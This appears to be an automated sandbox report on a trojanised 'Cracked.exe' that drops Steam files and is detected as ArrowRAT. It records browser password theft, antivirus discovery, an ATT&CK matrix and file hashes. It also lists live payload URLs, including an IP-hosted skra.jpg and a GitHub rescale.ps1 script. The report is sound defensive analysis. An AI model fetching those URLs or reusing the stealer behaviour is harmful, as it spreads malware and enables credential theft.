Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation

Source: C:\Program Files (x86)\Steam\bin\SteamService.exe

Code function: 13_2_010616C0 cpuid

13_2_010616C0

Source: C:\Users\user\Desktop\Cracked.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Program Files (x86)\Steam\bin\SteamService.exe

Code function: 13_2_011CC725 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

13_2_011CC725

Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe

Code function: 5_2_004061A0 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

5_2_004061A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\7E04DE896A3E666D00E687D33FFAD93BE83D349E Blob

Jump to behavior

Source: cvtres.exe, 00000007.00000002.619459906.0000000005577000.00000004.00000020.00020000.00000000.sdmp, cvtres.exe, 00000007.00000003.479663865.000000000558E000.00000004.00000020.00020000.00000000.sdmp, cvtres.exe, 00000007.00000003.479293234.0000000005577000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information

Yara detected ArrowRAT

Source: Yara match	File source: 7.2.cvtres.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Client.exe.1b9bc897d68.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Client.exe.1b9bc897d68.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.617474210.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.620873445.000001B9BC7F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Client.exe PID: 5676, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cvtres.exe PID: 7332, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Remote Access Functionality

Yara detected ArrowRAT

Source: Yara match	File source: 7.2.cvtres.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Client.exe.1b9bc897d68.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Client.exe.1b9bc897d68.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.617474210.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.620873445.000001B9BC7F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Client.exe PID: 5676, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cvtres.exe PID: 7332, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	1 Create Account	1 Access Token Manipulation	111 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	1 Native API	1 Windows Service	1 Windows Service	11 Deobfuscate/Decode Files or Information	1 Input Capture	3 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Command and Scripting Interpreter	111 Registry Run Keys / Startup Folder	312 Process Injection	21 Obfuscated Files or Information	Security Account Manager	27 System Information Discovery	SMB/Windows Admin Shares	1 Input Capture	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	3 PowerShell	Logon Script (Mac)	111 Registry Run Keys / Startup Folder	11 Software Packing	NTDS	31 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	2 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	222 Masquerading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	312 Process Injection	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Cracked.exe	100%	Avira	TR/Dropper.Gen
Cracked.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\Client.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Local\Temp\LHost\hDvkdxlbo.exe	100%	Avira	TR/Dropper.Gen
C:\Windows\Client.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\LHost\hDvkdxlbo.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Steam\steamservice.exe	0%	ReversingLabs
C:\Program Files (x86)\Steam\Steam.exe	0%	ReversingLabs
C:\Program Files (x86)\Steam\bin\SteamService.exe	0%	ReversingLabs
C:\Program Files (x86)\Steam\uninstall.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\SteamSetup.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsc3274.tmp\StdUtils.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsc3274.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsc3274.tmp\nsDialogs.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsc3274.tmp\nsExec.dll	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsc3274.tmp\nsProcess.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://raw.githubusercontent.com/PandorahVNC/PhotoCollection/main/rescale.ps1	0%	Avira URL Cloud	safe
http://fakecaptiveportal.org/	0%	Virustotal		Browse
https://raw.githubusercontent.com/PandorahVNC/PhotoCollection/main/rescale.ps1	6%	Virustotal		Browse
http://51.254.27.112:1337/skra.jpg	10%	Virustotal		Browse
http://fakecaptiveportal.org/Captive	0%	Virustotal		Browse
http://fakecaptiveportal.org/Captive	0%	Avira URL Cloud	safe
http://fakecaptiveportal.org/	0%	Avira URL Cloud	safe
http://51.254.27.112:1337/skra.jpg	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.462109695.000001F027A03000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.452036379.0000021790075000.00000004.00000800.00020000.00000000.sdmp	false		high
http://media.steampowered.com/client/bins_codecs_win32.zip.vz.75115d428dad4c6577a2fa8a6f8f422fa17b16	Steam.exe, 00000011.00000003.434050431.0000000000735000.00000004.00000020.00020000.00000000.sdmp	false		high
http://media.steampowered.com/client/steam_win32_steamrow.zip.vz.f71a1a31ad111088c819b824acbf9063248	Steam.exe, 00000011.00000003.434050431.0000000000735000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000A.00000002.399007039.0000021780208000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000001.00000002.394137576.000001F017B94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.399007039.0000021780208000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000A.00000002.399007039.0000021780208000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000001.00000002.394137576.000001F0197CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.394137576.000001F0196E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.394137576.000001F01952F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.394137576.000001F01971A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.394137576.000001F019171000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://media.steampowered.com/client/bins_misc_win32.zip.vz.f35d293b528a5cff5266c168f6bb160cc383e743	Steam.exe, 00000011.00000003.434050431.0000000000735000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000000A.00000002.452036379.0000021790075000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000A.00000002.452036379.0000021790075000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://media.steampowered.com/client/bins_win32.zip.vz.0fea7d66ad9217cd0646c9cee096c21a2d85e649_2971	Steam.exe, 00000011.00000003.434050431.0000000000735000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000000.357603561.000000000040A000.00000008.00000001.01000000.00000007.sdmp, SteamSetup.exe, 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmp	false		high
http://fakecaptiveportal.org/Captive	SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000A.00000002.399007039.0000021780208000.00000004.00000800.00020000.00000000.sdmp	false		high
http://media.steampowered.com/client/steamui_websrc_all.zip.vz.69019218fe12f0c44fbad339b6e6bee6d7cdd	Steam.exe, 00000011.00000003.434050431.0000000000735000.00000004.00000020.00020000.00000000.sdmp	false		high
http://media.steampowered.com/client/bins_cef_win32_win7.zip.vz.84d4bf110fe50eae384af648416cfd65cf71	Steam.exe, 00000011.00000003.434050431.0000000000735000.00000004.00000020.00020000.00000000.sdmp	false		high
http://support.steampowered.com/	SteamSetup.exe, 00000005.00000002.442798398.0000000000582000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000003.441283949.000000000057E000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.444245436.00000000027EA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000001.00000002.394137576.000001F017B94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.399007039.0000021780208000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000000A.00000002.452036379.0000021790075000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.462109695.000001F027A03000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.452036379.0000021790075000.00000004.00000800.00020000.00000000.sdmp	false		high
http://fakecaptiveportal.org/	SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/PandorahVNC/PhotoCollection/main/rescale.ps1	Client.exe, 00000003.00000002.620873445.000001B9BC7F1000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 00000007.00000002.621702120.0000000007231000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 00000007.00000002.617474210.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	6%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.steampowered.com/HelpLinkDisplayIconUninstallStringNoModifyNoRepair	SteamSetup.exe, 00000005.00000002.442798398.0000000000582000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000003.441283949.000000000057E000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.444245436.00000000027EA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://51.254.27.112:1337/skra.jpg	Client.exe, 00000003.00000002.620873445.000001B9BC7F1000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 00000007.00000002.617474210.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	10%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://media.steampowered.com/client/tenfoot_images_all.zip.vz.2bb2e0fd7778b60915d496578aa4722e1db8c	Steam.exe, 00000011.00000003.434050431.0000000000735000.00000004.00000020.00020000.00000000.sdmp	false		high
http://media.steampowered.com/client/resources_misc_all.zip.vz.e86a975545f3ab21a77373870cb311ef93934	Steam.exe, 00000011.00000003.434050431.0000000000735000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.394137576.000001F017991000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 00000007.00000002.621702120.0000000007231000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.399007039.0000021780001000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
8.8.8.8	unknown	United States	15169	GOOGLEUS	false
23.0.174.32	unknown	United States	20940	AKAMAI-ASN1EU	false
147.185.221.16	unknown	United States	12087	SALSGIVERUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1282353
Start date and time:	2023-07-29 22:40:06 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	Cracked.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@24/1085@0/4
EGA Information:	Successful, ratio: 42.9%
HDC Information:	Successful, ratio: 50.6% (good quality ratio 48.1%) Quality average: 78.5% Quality standard deviation: 28.1%
HCA Information:	Successful, ratio: 73% Number of executed functions: 177 Number of non-executed functions: 26
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, conhost.exe, WmiPrvSE.exe
Execution Graph export aborted for target Cracked.exe, PID 3360 because it is empty
Execution Graph export aborted for target SteamService.exe, PID 7908 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 1164 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7524 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Skipping network analysis since amount of network traffic is too extensive

Simulations

Behavior and APIs

Time	Type	Description
22:40:58	API Interceptor	1x Sleep call for process: Cracked.exe modified
22:41:00	Task Scheduler	Run new task: CreateExplorerShellUnelevatedTask path: C:\Windows\explorer.exe s>/NOUACCHECK
22:41:01	API Interceptor	74x Sleep call for process: powershell.exe modified
22:41:05	API Interceptor	989x Sleep call for process: cvtres.exe modified
22:41:19	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Steam "C:\Program Files (x86)\Steam\steam.exe" -silent
22:41:27	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Steam "C:\Program Files (x86)\Steam\steam.exe" -silent

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Program Files (x86)\Common Files\Steam\steamservice.exe

Download File

Process:	C:\Program Files (x86)\Steam\bin\SteamService.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2813352
Entropy (8bit):	6.829814159357811
Encrypted:	false
SSDEEP:	49152:EmvpI/M4M2YEOpBGcCxutN8Lf6vMTC4gbZtPW3bwDlmTbCeieU8K9f2ywH:Emv+M2CGZxY8Lf6L4gdw3b6mT7
MD5:	2DE3F7CF6020B3BB6BC4199459A63016
SHA1:	8A30E5E333A353EB069AB961A4C1918FCBB44623
SHA-256:	F649F4A1D41CD442D5E3F079B1677442A2123EB494BDA58EF866870B25915D7E
SHA-512:	5D1E016C731DD1BFAAF24FDE9DA4F453F71773A71DB956290809EB82064FA0307874CD412BE6AD98C4FDBB36E94CD8AE7AA27341AAA1F9F3F9E696AFE0CCA56E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...................................@...VLV.........+1b..c.4.N.0....S.#.6(..Y.p...vC...A\9s/+.?..`.+...E........5;..L..{.@F~......@U..n..;...."<.Q.O.m..4.&,.J..N7?...T...'bM0.................................................................................................................PE..L....+1b...........................Q........@....@...........................0......o+...@......................... .$.t.....$.......................#..../..(..Tg$.T....................g$......f$.@............@..<...\|.$.@....................text....(......................... ..`.rdata......@......................@..@.data.........$..N....$.............@....rsrc...............%.............@..@.reloc...(..../..*....).............@..B........................................................................................................................................................................................................................................

C:\Program Files (x86)\Steam\Steam.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4279208
Entropy (8bit):	6.863807384935437
Encrypted:	false
SSDEEP:	98304:dDokH1WPirCS6Ijt91p2GWNzSC34g2FiiIk:ttHSiJXGNNiE/k
MD5:	B4411620A3551834E4F699CC5A9B27E6
SHA1:	5093960CC86613E310D13770B5ADEF00FE93F3EB
SHA-256:	3CAF4A246169B2D30C6BF18FA0B7A4A01BBE933CFB781F3DA4C6B3CB67B59D04
SHA-512:	47DDE07212C2D5EEA548D7794FC6BB9D86CED9A0848AAEAB81FA8844FC5CAB7EAC58E386E96A81C663B914C85C0A7116033E2B2CFD18559D40AA6C83F9A6C024
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...................................P...VLV......(A.J,1b...<....\...H.*.`... ...6^.....0.Znb.cG.]..b......U...#q8RQ...f.&.x.z........+...........(......=0h...r......V_.V4S..5=................................................................................................................................PE..L...?,1b.........."......n,..........M........,...@..........................`G......A...@...........................:.....\.:.,.....A..k...........(A..#...`E.H.....9.T...................@.9.....h.9.@.............,.D............................text...Sl,......n,................. ..`.rdata..R\|....,..~...r,.............@..@.data...0.....;.......:.............@....rsrc....k....A..l....;.............@..@.reloc..H....`E......6?.............@..B........................................................................................................................................................................................................................

C:\Program Files (x86)\Steam\bin\SteamService.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2813352
Entropy (8bit):	6.829814159357811
Encrypted:	false
SSDEEP:	49152:EmvpI/M4M2YEOpBGcCxutN8Lf6vMTC4gbZtPW3bwDlmTbCeieU8K9f2ywH:Emv+M2CGZxY8Lf6L4gdw3b6mT7
MD5:	2DE3F7CF6020B3BB6BC4199459A63016
SHA1:	8A30E5E333A353EB069AB961A4C1918FCBB44623
SHA-256:	F649F4A1D41CD442D5E3F079B1677442A2123EB494BDA58EF866870B25915D7E
SHA-512:	5D1E016C731DD1BFAAF24FDE9DA4F453F71773A71DB956290809EB82064FA0307874CD412BE6AD98C4FDBB36E94CD8AE7AA27341AAA1F9F3F9E696AFE0CCA56E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...................................@...VLV.........+1b..c.4.N.0....S.#.6(..Y.p...vC...A\9s/+.?..`.+...E........5;..L..{.@F~......@U..n..;...."<.Q.O.m..4.&,.J..N7?...T...'bM0.................................................................................................................PE..L....+1b...........................Q........@....@...........................0......o+...@......................... .$.t.....$.......................#..../..(..Tg$.T....................g$......f$.@............@..<...\|.$.@....................text....(......................... ..`.rdata......@......................@..@.data.........$..N....$.............@....rsrc...............%.............@..@.reloc...(..../..*....).............@..B........................................................................................................................................................................................................................................

C:\Program Files (x86)\Steam\package\bins_cef_win32_win10-64.zip.vz.d63bcb5a2d579f048538e61ef9e9faa9ff46e362_68607483

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	68607483
Entropy (8bit):	7.999997128784029
Encrypted:	true
SSDEEP:	1572864:MwPFKkyalxHkeifDlTXzGyLpI7iyqubZI/M4bnXps7TwDScP:z/xEZT1IuzubZv8nXCqSQ
MD5:	98E14FA3FB48ACF585AF2D5F0D734FBF
SHA1:	D63BCB5A2D579F048538E61EF9E9FAA9FF46E362
SHA-256:	FECAB357E0F034648F20EE407AF768E11EAA294B49865189F0F67BC135E6051F
SHA-512:	5AEEAA3ABECC4F9ECDF0141C81C9C2C085E6AEEBCD6B87059E583FC3B246BC42E2367D34FAC32CA13823DD15C5F1C3B6E06C241EE40E5E86727866503BD3CA67
Malicious:	true
Reputation:	unknown
Preview:	VZaP0.d].....(..`(..g..4......`Q..&....F.../....> 6K........4..{..=.#>..z............E.AO.3.&...=............`6OC@..R.$.:..'..W(x.ES.'..E...]....5...<Z0..a..~X.@..+l)..+.... ..r .#.e...H.Jf_.I..:..z..\.....4.v....._i..y#1.Y...?..P.......x.(.....P...L...gO.>g..V.p.q.e.d&.V.....Dl.T...UI../.p..W...nY.{.{...X.....J..+8o..P.I.z.?X...........o.GM<:.^..(..d.........G..k..u.6}6...Z.....Dryz>\.S.b...o..6'..%?.P....Gd?{.o....N.c...4{n..E.y.O...ON/(9..HZK...k.&.N...:;.?.......!Z...X.....4...S..w'.0...[....}.r.f.N....=.b....re1...d..&=c...f....Q..:.X2.....v....o....Z.7.->.6.J>RF.I]....jv5f.!xk..>.U..G..i<.....}.(..4....t.......di.(.l..0....(...>.Lw../..@......D_..g.....v.Kqy~....H...(a..<.._..w...M.sVgL...A.P.%....6.I....3......K...{.;5..N.7...c..C.n.E+.z@5C.0.....sK3...,N.h..r....I...A.d..b..j~.9......_<...tDc,.......Fd..>,^....a..[X....=6&NY.q..9..y...#.u..A....[...p..".(P.\|!..d........?.....s..u.1.K...].~.....4.(.6...)".H.Mz..

C:\Program Files (x86)\Steam\package\bins_cef_win32_win7.zip.vz.84d4bf110fe50eae384af648416cfd65cf7130b7_66324270

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	data
Category:	dropped
Size (bytes):	66324270
Entropy (8bit):	7.99999736625241
Encrypted:	true
SSDEEP:	786432:jdeEAEEGZfC+yiBgUv0THBSP8UrLOo/uKgM7Aj6aVymz6bVsmZf12apo94XFPMS9:heJEtgAUAN/Lz71HVJ/2aZFPNISoeSe
MD5:	837AD0C5C201048E771FF93AB2159798
SHA1:	84D4BF110FE50EAE384AF648416CFD65CF7130B7
SHA-256:	2AC527D02C3C0E0CFE05D2AC701C0BC1D067246E7F97356D4A3F653B686B506A
SHA-512:	3D5504B034D47A9ED2C71F5FDBAD4DCE257668BE40300B00A7CDA22D5A894A203E2C20F6FE2F2E5277078F148B9E30E90062A090128246ADCA5FAC757AB0423A
Malicious:	true
Reputation:	unknown
